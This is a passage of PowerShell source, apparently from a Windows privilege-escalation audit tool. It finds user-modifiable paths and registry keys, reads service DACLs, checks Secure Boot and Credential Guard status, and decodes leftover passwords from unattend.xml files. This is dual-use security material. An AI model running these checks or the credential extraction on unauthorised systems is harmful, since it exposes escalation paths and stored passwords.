1300 Parses a passed string containing multiple possible file/folder paths and returns
1301 the file paths where the current user has modification rights.
1302
1303 Author: @harmj0y
1304 License: BSD 3-Clause
1305
1306 .DESCRIPTION
1307
1308 Takes a complex path specification of an initial file/folder path with possible
1309 configuration files, 'tokenizes' the string in a number of possible ways, and
1310 enumerates the ACLs for each path that currently exists on the system. Any path that
1311 the current user has modification rights on is returned in a custom object that contains
1312 the modifiable path, associated permission set, and the IdentityReference with the specified
1313 rights. The SID of the current user and any group he/she are a part of are used as the
1314 comparison set against the parsed path DACLs.
1315
1316 @itm4n: I made some small changes to the original code in order to prevent false positives as
1317 much as possible.
1318
1319 .PARAMETER Path
1320
1321 The string path to parse for modifiable files. Required
1322
1323 .PARAMETER LiteralPaths
1324
1325 Switch. Treat all paths as literal (i.e. don't do 'tokenization').
1326
1327 .EXAMPLE
1328
1329 PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
1330
1331 Path Permissions IdentityReference
1332 ---- ----------- -----------------
1333 C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
1334 C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
1335
1336 .EXAMPLE
1337
1338 PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath
1339
1340 Path Permissions IdentityReference
1341 ---- ----------- -----------------
1342 C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
1343 C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
1344 ...
1345 #>
1346
1347 [CmdletBinding()]
1348 Param(
1349 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1350 [Alias('FullName')]
1351 [String[]]
1352 $Path,
1353
1354 [Switch]
1355 $LiteralPaths
1356 )
1357
1358 BEGIN {
1359 # # false positives ?
1360 # $Excludes = @("MsMpEng.exe", "NisSrv.exe")
1361
1362 # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
1363 $AccessMask = @{
1364 [uint32]'0x80000000' = 'GenericRead'
1365 [uint32]'0x40000000' = 'GenericWrite'
1366 [uint32]'0x20000000' = 'GenericExecute'
1367 [uint32]'0x10000000' = 'GenericAll'
1368 [uint32]'0x02000000' = 'MaximumAllowed'
1369 [uint32]'0x01000000' = 'AccessSystemSecurity'
1370 [uint32]'0x00100000' = 'Synchronize'
1371 [uint32]'0x00080000' = 'WriteOwner'
1372 [uint32]'0x00040000' = 'WriteDAC'
1373 [uint32]'0x00020000' = 'ReadControl'
1374 [uint32]'0x00010000' = 'Delete'
1375 [uint32]'0x00000100' = 'WriteAttributes'
1376 [uint32]'0x00000080' = 'ReadAttributes'
1377 [uint32]'0x00000040' = 'DeleteChild'
1378 [uint32]'0x00000020' = 'Execute/Traverse'
1379 [uint32]'0x00000010' = 'WriteExtendedAttributes'
1380 [uint32]'0x00000008' = 'ReadExtendedAttributes'
1381 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
1382 [uint32]'0x00000002' = 'WriteData/AddFile'
1383 [uint32]'0x00000001' = 'ReadData/ListDirectory'
1384 }
1385
1386 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
1387 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
1388 $CurrentUserSids += $UserIdentity.User.Value
1389
1390 $TranslatedIdentityReferences = @{}
1391 }
1392
1393 PROCESS {
1394
1395 ForEach($TargetPath in $Path) {
1396
1397 $CandidatePaths = @()
1398
1399 # possible separator character combinations
1400 $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
1401
1402 if($PSBoundParameters['LiteralPaths']) {
1403
1404 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath))
1405
1406 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
1407 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
1408 }
1409 else {
1410 # if the path doesn't exist, check if the parent folder allows for modification
1411 try {
1412 $ParentPath = Split-Path $TempPath -Parent
1413 if($ParentPath -and (Test-Path -Path $ParentPath -ErrorAction SilentlyContinue)) {
1414 $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
1415 }
1416 }
1417 catch {
1418 # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
1419 }
1420 }
1421 }
1422 else {
1423 ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
1424 $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
1425
1426 if(($SeparationCharacterSet -notmatch ' ')) {
1427
1428 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim()
1429
1430 # if the path is actually an option like '/svc', skip it
1431 # it will prevent a lot of false positives but it might also skip vulnerable paths in some particular cases
1432 # though, it's more common to see options like '/svc' than file paths like '/ProgramData/something' in Windows
1433 if (-not ($TempPath -Like "/*")) {
1434
1435 if($TempPath -and ($TempPath -ne '')) {
1436 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
1437 # if the path exists, resolve it and add it to the candidate list
1438 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
1439 }
1440 else {
1441 # if the path doesn't exist, check if the parent folder allows for modification
1442 try {
1443 $ParentPath = (Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue).Trim()
1444 if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath -ErrorAction SilentlyContinue)) {
1445 $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path
1446 }
1447 }
1448 catch {
1449 # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
1450 }
1451 }
1452 }
1453 }
1454 }
1455 else {
1456 # if the separator contains a space
1457 $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)}
1458 }
1459 }
1460 }
1461 }
1462
1463 $CandidatePaths | Sort-Object -Unique | ForEach-Object {
1464
1465 $CandidatePath = $_
1466
1467 try {
1468
1469 Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
1470
1471 $FileSystemRights = $_.FileSystemRights.value__
1472
1473 $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }
1474
1475 # the set of permission types that allow for modification
1476 $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
1477
1478 if($Comparison) {
1479 if ($_.IdentityReference -notmatch '^S-1-5.*' -and $_.IdentityReference -notmatch '^S-1-15-.*') {
1480 if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
1481 # translate the IdentityReference if it's a username and not a SID
1482 $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
1483 $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
1484 }
1485 $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
1486 }
1487 else {
1488 $IdentitySID = $_.IdentityReference
1489 }
1490
1491 if($CurrentUserSids -contains $IdentitySID) {
1492 New-Object -TypeName PSObject -Property @{
1493 ModifiablePath = $CandidatePath
1494 IdentityReference = $_.IdentityReference
1495 Permissions = $Permissions
1496 }
1497 }
1498 }
1499 }
1500 } catch {
1501 # trap because Get-Acl doesn't handle -ErrorAction SilentlyContinue nicely
1502 }
1503 }
1504 }
1505 }
1506}
1507
1508function Get-ModifiableRegistryPath {
1509 <#
1510 .SYNOPSIS
1511
1512 Helper - Checks the permissions of a given registry key and returns the ones that the current
1513 user can modify. It's based on the same technique as the one used by @harmj0y in
1514 "Get-ModifiablePath".
1515
1516 Author: @itm4n
1517 License: BSD 3-Clause
1518
1519 .DESCRIPTION
1520
1521 Any registry path that the current user has modification rights on is returned in a custom
1522 object that contains the modifiable path, associated permission set, and the IdentityReference
1523 with the specified rights. The SID of the current user and any group he/she are a part of are
1524 used as the comparison set against the parsed path DACLs.
1525
1526 .PARAMETER Path
1527
1528 A registry key path. Required
1529
1530 .EXAMPLE
1531
1532 Get-ModifiableRegistryPath -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnService"
1533
1534 Name : VulnService
1535 ImagePath : C:\APPS\MyApp\service.exe
1536 User : NT AUTHORITY\NetworkService
1537 ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnService}
1538 IdentityReference : NT AUTHORITY\INTERACTIVE
1539 Permissions : {ReadControl, AppendData/AddSubdirectory, ReadExtendedAttributes, ReadData/ListDirectory}
1540 Status : Running
1541 UserCanStart : True
1542 UserCanRestart : False
1543
1544 #>
1545
1546 [CmdletBinding()]
1547 Param(
1548 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1549 [String[]]
1550 $Path
1551 )
1552
1553 BEGIN {
1554 # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
1555 $AccessMask = @{
1556 [uint32]'0x80000000' = 'GenericRead'
1557 [uint32]'0x40000000' = 'GenericWrite'
1558 [uint32]'0x20000000' = 'GenericExecute'
1559 [uint32]'0x10000000' = 'GenericAll'
1560 [uint32]'0x02000000' = 'MaximumAllowed'
1561 [uint32]'0x01000000' = 'AccessSystemSecurity'
1562 [uint32]'0x00100000' = 'Synchronize'
1563 [uint32]'0x00080000' = 'WriteOwner'
1564 [uint32]'0x00040000' = 'WriteDAC'
1565 [uint32]'0x00020000' = 'ReadControl'
1566 [uint32]'0x00010000' = 'Delete'
1567 [uint32]'0x00000100' = 'WriteAttributes'
1568 [uint32]'0x00000080' = 'ReadAttributes'
1569 [uint32]'0x00000040' = 'DeleteChild'
1570 [uint32]'0x00000020' = 'Execute/Traverse'
1571 [uint32]'0x00000010' = 'WriteExtendedAttributes'
1572 [uint32]'0x00000008' = 'ReadExtendedAttributes'
1573 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
1574 [uint32]'0x00000002' = 'WriteData/AddFile'
1575 [uint32]'0x00000001' = 'ReadData/ListDirectory'
1576 }
1577
1578 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
1579 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
1580 $CurrentUserSids += $UserIdentity.User.Value
1581
1582 $TranslatedIdentityReferences = @{}
1583 }
1584
1585 PROCESS {
1586 $KeyAcl = Get-Acl -Path $Path -ErrorAction SilentlyContinue -ErrorVariable GetAclError
1587 if (-not $GetAclError) {
1588 $KeyAcl | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
1589
1590 $RegistryRights = $_.RegistryRights.value__
1591
1592 $Permissions = $AccessMask.Keys | Where-Object { $RegistryRights -band $_ } | ForEach-Object { $accessMask[$_] }
1593
1594 # the set of permission types that allow for modification
1595 $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
1596
1597 if($Comparison) {
1598 if ($_.IdentityReference -notmatch '^S-1-5.*') {
1599 if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
1600 # translate the IdentityReference if it's a username and not a SID
1601 $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
1602 $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
1603 }
1604 $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
1605 }
1606 else {
1607 $IdentitySID = $_.IdentityReference
1608 }
1609
1610 if($CurrentUserSids -contains $IdentitySID) {
1611 New-Object -TypeName PSObject -Property @{
1612 ModifiablePath = $Path
1613 IdentityReference = $_.IdentityReference
1614 Permissions = $Permissions
1615 }
1616 }
1617 }
1618 }
1619 }
1620 }
1621}
1622
1623function Add-ServiceDacl {
1624 <#
1625 .SYNOPSIS
1626
1627 Adds a Dacl field to a service object returned by Get-Service.
1628
1629 Author: Matthew Graeber (@mattifestation)
1630 License: BSD 3-Clause
1631
1632 .DESCRIPTION
1633
1634 Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
1635 Dacl field to each object. It does this by opening a handle with ReadControl for the
1636 service with using the GetServiceHandle Win32 API call and then uses
1637 QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
1638
1639 @itm4n: I had to make some small changes to the original code because i don't import the
1640 Win32 API functions the same way it was done in PowerUp.
1641
1642 .PARAMETER Name
1643
1644 An array of one or more service names to add a service Dacl for. Passable on the pipeline.
1645
1646 .EXAMPLE
1647
1648 PS C:\> Get-Service | Add-ServiceDacl
1649
1650 Add Dacls for every service the current user can read.
1651
1652 .EXAMPLE
1653
1654 PS C:\> Get-Service -Name VMTools | Add-ServiceDacl
1655
1656 Add the Dacl to the VMTools service object.
1657
1658 .OUTPUTS
1659
1660 ServiceProcess.ServiceController
1661
1662 .LINK
1663
1664 https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
1665 #>
1666
1667 [OutputType('ServiceProcess.ServiceController')]
1668 param (
1669 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1670 [Alias('ServiceName')]
1671 [String[]]
1672 [ValidateNotNullOrEmpty()]
1673 $Name
1674 )
1675
1676 BEGIN {
1677 filter Local:Get-ServiceReadControlHandle {
1678 [OutputType([IntPtr])]
1679 param (
1680 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1681 [ValidateNotNullOrEmpty()]
1682 [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })]
1683 $Service
1684 )
1685 Add-Type -AssemblyName System.ServiceProcess # ServiceProcess is not loaded by default
1686 $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')
1687 $ReadControl = 0x00020000
1688 $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl))
1689 $RawHandle
1690 }
1691 }
1692
1693 PROCESS {
1694 ForEach($ServiceName in $Name) {
1695
1696 $IndividualService = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue -ErrorVariable GetServiceError
1697 if (-not $GetServiceError) {
1698
1699 try {
1700 $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService
1701 }
1702 catch {
1703 $ServiceHandle = $Null
1704 }
1705
1706 if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
1707 $SizeNeeded = 0
1708
1709 $Result = [PrivescCheck.Win32]::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded)
1710 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1711
1712 # 122 == The data area passed to a system call is too small
1713 if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) {
1714 $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded)
1715
1716 $Result = [PrivescCheck.Win32]::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded)
1717 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1718
1719 if ($Result) {
1720
1721 $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0
1722
1723 $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object {
1724 Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value $([PrivescCheck.Win32+ServiceAccessFlags] $_.AccessMask) -PassThru
1725 }
1726
1727 Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru
1728 }
1729 }
1730
1731 $Null = [PrivescCheck.Win32]::CloseServiceHandle($ServiceHandle)
1732 }
1733 }
1734 }
1735 }
1736}
1737
1738function Get-UEFIStatus {
1739 <#
1740 .SYNOPSIS
1741
1742 Helper - Gets the BIOS mode of the machine (Legacy / UEFI)
1743
1744 Author: @itm4n
1745 License: BSD 3-Clause
1746
1747 .DESCRIPTION
1748
1749 Invokes the "GetFirmwareEnvironmentVariable()" function from the Windows API with dummy
1750 parameters. Indeed, the queried value doesn't matter, what matters is the last error code,
1751 which you can get by invoking "GetLastError()". If the return code is ERROR_INVALID_FUNCTION,
1752 this means that the function is not supported by the BIOS so it's LEGACY. Otherwise, the error
1753 code will indicate that it cannot find the requested variable, which means that the function is
1754 supported by the BIOS so it's UEFI.
1755
1756 .EXAMPLE
1757
1758 PS C:\> Get-BiosMode
1759
1760 Name Status Description
1761 ---- ------ -----------
1762 UEFI True BIOS mode is UEFI
1763
1764 .NOTES
1765
1766 https://github.com/xcat2/xcat-core/blob/master/xCAT-server/share/xcat/netboot/windows/detectefi.cpp
1767 https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getfirmwareenvironmentvariablea
1768 https://github.com/ChrisWarwick/GetUEFI/blob/master/GetFirmwareBIOSorUEFI.psm1
1769
1770 #>
1771
1772 [CmdletBinding()]Param()
1773
1774 $OsVersion = [System.Environment]::OSVersion.Version
1775
1776 # Windows >= 8/2012
1777 if (($OsVersion.Major -ge 10) -or (($OsVersion.Major -ge 6) -and ($OsVersion.Minor -ge 2))) {
1778
1779 [int]$FirmwareType = 0
1780 $Result = [PrivescCheck.Win32]::GetFirmwareType([ref]$FirmwareType)
1781 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1782
1783 if ($Result -gt 0) {
1784 if ($FirmwareType -eq 1) {
1785 # FirmwareTypeBios = 1
1786 $Status = $False
1787 $Description = "BIOS mode is Legacy"
1788 } elseif ($FirmwareType -eq 2) {
1789 # FirmwareTypeUefi = 2
1790 $Status = $True
1791 $Description = "BIOS mode is UEFI"
1792 } else {
1793 $Description = "BIOS mode is unknown"
1794 }
1795 } else {
1796 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1797 }
1798
1799 # Windows = 7/2008 R2
1800 } elseif (($OsVersion.Major -eq 6) -and ($OsVersion.Minor -eq 1)) {
1801
1802 [PrivescCheck.Win32]::GetFirmwareEnvironmentVariable("", "{00000000-0000-0000-0000-000000000000}", [IntPtr]::Zero, 0) | Out-Null
1803 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1804
1805 $ERROR_INVALID_FUNCTION = 1
1806 if ($LastError -eq $ERROR_INVALID_FUNCTION) {
1807 $Status = $False
1808 $Description = "BIOS mode is Legacy"
1809 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1810 } else {
1811 $Status = $True
1812 $Description = "BIOS mode is UEFI"
1813 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1814 }
1815
1816 } else {
1817 $Description = "Cannot check BIOS mode"
1818 }
1819
1820 $BiosMode = New-Object -TypeName PSObject
1821 $BiosMode | Add-Member -MemberType "NoteProperty" -Name "Name" -Value "UEFI"
1822 $BiosMode | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
1823 $BiosMode | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
1824 $BiosMode
1825}
1826
1827function Get-SecureBootStatus {
1828 <#
1829 .SYNOPSIS
1830
1831 Helper - Get the status of Secure Boot (enabled/disabled/unsupported)
1832
1833 Author: @itm4n
1834 License: BSD 3-Clause
1835
1836 .DESCRIPTION
1837
1838 In case of a UEFI BIOS, you can check whether 'Secure Boot' is enabled by looking at the
1839 'UEFISecureBootEnabled' value of the following registry key: 'HKEY_LOCAL_MACHINE\SYSTEM\Current
1840 ControlSet\Control\SecureBoot\State'.
1841
1842 .EXAMPLE
1843
1844 PS C:\> Get-SecureBootStatus
1845
1846 Name Status Description
1847 ---- ------ -----------
1848 Secure Boot True Secure Boot is enabled
1849
1850 #>
1851
1852 [CmdletBinding()]Param()
1853
1854 $RegPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State"
1855 $Result = Get-ItemProperty -Path "Registry::$($RegPath)" -ErrorAction SilentlyContinue -ErrorVariable $GetItemPropertyError
1856
1857 if (-not $GetItemPropertyError) {
1858
1859 if (-not ($Null -eq $Result.UEFISecureBootEnabled)) {
1860
1861 if ($Result.UEFISecureBootEnabled -eq 1) {
1862 $Status = $True
1863 $Description = "Secure Boot is enabled"
1864 } else {
1865 $Status = $False
1866 $Description = "Secure Boot is disabled"
1867 }
1868 } else {
1869 $Status = $False
1870 $Description = "Secure Boot is not supported"
1871 }
1872 } else {
1873 $Status = $False
1874 $Description = "Secure Boot is not supported"
1875 }
1876
1877 $SecureBootStatus = New-Object -TypeName PSObject
1878 $SecureBootStatus | Add-Member -MemberType "NoteProperty" -Name "Name" -Value "Secure Boot"
1879 $SecureBootStatus | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
1880 $SecureBootStatus | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
1881 $SecureBootStatus
1882}
1883
1884function Get-CredentialGuardStatus {
1885 <#
1886 .SYNOPSIS
1887
1888 Helper - Gets the status of Windows Defender Credential Guard
1889
1890 Author: @itm4n
1891 License: BSD 3-Clause
1892
1893 .DESCRIPTION
1894
1895 Gets the status of the Credential Guard by reading the 'LsaCfgFlags' value of the following
1896 registry key: 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA'. Possible values are:
1897 None=>Not configured, 0=>Disabled, 1=>Enabled with UEFI lock, 2=>Disabled without UEFI lock.
1898
1899 .EXAMPLE
1900
1901 PS C:\> Get-CredentialGuardStatus
1902
1903 Name Status Description
1904 ---- ------ -----------
1905 Credential Guard False Credential Guard is not configured
1906
1907 .LINK
1908
1909 https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage
1910
1911 #>
1912
1913 [CmdletBinding()]Param()
1914
1915 $OsVersion = [System.Environment]::OSVersion.Version
1916
1917 if ($OsVersion.Major -ge 10) {
1918
1919 $RegPath = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA"
1920 $Result = Get-ItemProperty -Path "Registry::$($RegPath)" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
1921
1922 if (-not $GetItemPropertyError) {
1923
1924 if (-not ($Null -eq $Result.LsaCfgFlags)) {
1925
1926 if ($Result.LsaCfgFlags -eq 0) {
1927 $Status = $False
1928 $Description = "Credential Guard is disabled"
1929 } elseif ($Result.LsaCfgFlags -eq 1) {
1930 $Status = $True
1931 $Description = "Credential Guard is enabled with UEFI lock"
1932 } elseif ($Result.LsaCfgFlags -eq 2) {
1933 $Status = $True
1934 $Description = "Credential Guard is enabled without UEFI lock"
1935 }
1936 } else {
1937 $Status = $False
1938 $Description = "Credential Guard is not configured"
1939 }
1940 }
1941 } else {
1942 $Status = $False
1943 $Description = "Credential Guard is not supported on this OS"
1944 }
1945
1946 $CredentialGuardStatus = New-Object -TypeName PSObject
1947 $CredentialGuardStatus | Add-Member -MemberType "NoteProperty" -Name "Name" -Value "Credential Guard"
1948 $CredentialGuardStatus | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
1949 $CredentialGuardStatus | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
1950 $CredentialGuardStatus
1951}
1952
1953function Get-LsaRunAsPPLStatus {
1954 <#
1955 .SYNOPSIS
1956
1957 Helper - Gets the status of RunAsPPL option for LSA
1958
1959 Author: @itm4n
1960 License: BSD 3-Clause
1961
1962 .DESCRIPTION
1963
1964 RunAsPPL can be enabled for the LSA process in the registry. If it's enabled and the device has
1965 Secure Boot or UEFI, this setting is stored in the UEFI firmware so removing the registry key
1966 won't disable this setting.
1967
1968 .EXAMPLE
1969
1970 PS C:\> Get-LsaRunAsPPLStatus
1971
1972 Name Status Description
1973 ---- ------ -----------
1974 RunAsPPL True RunAsPPL is enabled
1975
1976 .LINK
1977
1978 https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection
1979 #>
1980
1981
1982 [CmdletBinding()]Param()
1983
1984 $OsVersion = [System.Environment]::OSVersion.Version
1985
1986 # if Windows >= 8.1 / 2012 R2
1987 if ($OsVersion.Major -eq 10 -or ( ($OsVersion.Major -eq 6) -and ($OsVersion.Minor -ge 3) )) {
1988
1989 $RegPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"
1990 $Result = Get-ItemProperty -Path "REgistry::$($RegPath)" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
1991
1992 if (-not $GetItemPropertyError) {
1993
1994 if (-not ($Null -eq $Result.RunAsPPL)) {
1995
1996 if ($Result.RunAsPPL -eq 1) {
1997 $Status = $True
1998 $Description = "RunAsPPL is enabled"
1999 } else {
2000 $Status = $False
2001 $Description = "RunAsPPL is disabled"
2002 }
2003 } else {
2004 $Status = $False
2005 $Description = "RunAsPPL is not configured"
2006 }
2007 }
2008
2009 } else {
2010 # RunAsPPL not supported
2011 $Status = $False
2012 $Description = "RunAsPPL is not supported on this OS"
2013 }
2014
2015 $LsaRunAsPplStatus = New-Object -TypeName PSObject
2016 $LsaRunAsPplStatus | Add-Member -MemberType "NoteProperty" -Name "Name" -Value "RunAsPPL"
2017 $LsaRunAsPplStatus | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
2018 $LsaRunAsPplStatus | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
2019 $LsaRunAsPplStatus
2020
2021}
2022
2023function Get-UnattendSensitiveData {
2024 <#
2025 .SYNOPSIS
2026
2027 Helper - Extract sensitive data from an "unattend" XML file
2028
2029 Author: @itm4n
2030 License: BSD 3-Clause
2031
2032 .DESCRIPTION
2033
2034 Unattend files are XML documents which may contain cleartext passwords if they are not
2035 properly sanitized. Most of the time, "Password" fields will be replaced by the generic
2036 "*SENSITIVE*DATA*DELETED*" mention but sometimes, the original value remains and is either
2037 present in its plaintext form or base64-encoded form. If a non-empty password field is found
2038 and if it's not equal to the default "*SENSITIVE*DATA*DELETED*", this function will return the
2039 corresponding set of credentials: domain, username and (decoded) password.
2040
2041 .PARAMETER Path
2042
2043 The Path of the "unattend.xml" file to parse
2044
2045 .EXAMPLE
2046
2047 PS C:\> Get-UnattendSensitiveData -Path C:\Windows\Panther\Unattend.xml
2048
2049 Type Domain Username Password
2050 ---- ------ -------- --------
2051 Credentials contoso.com Administrator Password1
2052 LocalAccount N/A John Password1
2053 AutoLogon . Administrator P@ssw0rd
2054
2055 .NOTES
2056
2057 A password can be stored in three formats:
2058
2059 1) Simple string
2060
2061 <Password>Password</Password>
2062
2063 2) XML node + plain value
2064
2065 <Password>
2066 <Value>Password</Value>
2067 <PlainText>true</PlainText>
2068 </Password>
2069
2070 3) XML node + base64-encoded value
2071
2072 <Password>
2073 <Value>UABhAHMAcwB3AG8AcgBkAA==</Value>
2074 <PlainText>false</PlainText>
2075 </Password>
2076
2077 /!\ UNICODE encoding!
2078
2079 #>
2080
2081 [CmdletBinding()]Param(
2082 [Parameter(Mandatory=$True)]
2083 [string]$Path
2084 )
2085
2086 function Get-DecodedPassword {
2087
2088 [CmdletBinding()]Param(
2089 [object]$XmlNode
2090 )
2091
2092 if ($XmlNode.GetType().Name -eq "string") {
2093 $XmlNode
2094 } else {
2095 if ($XmlNode) {
2096 if ($XmlNode.PlainText -eq "false") {
2097 [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($XmlNode.Value))
2098 } else {
2099 $XmlNode.Value
2100 }
2101 }
2102 }
2103 }
2104
2105 [xml] $Xml = Get-Content -Path $Path -ErrorAction SilentlyContinue -ErrorVariable GetContentError
2106
2107 if (-not $GetContentError) {
2108
2109 $Xml.GetElementsByTagName("Credentials") | ForEach-Object {
2110
2111 $Password = Get-DecodedPassword -XmlNode $_.Password
2112
2113 if ($Password -and ( -not ($Password -eq "*SENSITIVE*DATA*DELETED*"))) {
2114 $Item = New-Object -TypeName PSObject
2115 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "Credentials"
2116 $Item | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $_.Domain
2117 $Item | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $_.Username
2118 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Password
2119 $Item
2120 }
2121 }
2122
2123 $Xml.GetElementsByTagName("LocalAccount") | ForEach-Object {
2124
2125 $Password = Get-DecodedPassword -XmlNode $_.Password
2126
2127 if ($Password -and ( -not ($Password -eq "*SENSITIVE*DATA*DELETED*"))) {
2128 $Item = New-Object -TypeName PSObject
2129 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "LocalAccount"
2130 $Item | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value "N/A"
2131 $Item | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $_.Name
2132 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Password
2133 $Item
2134 }
2135 }
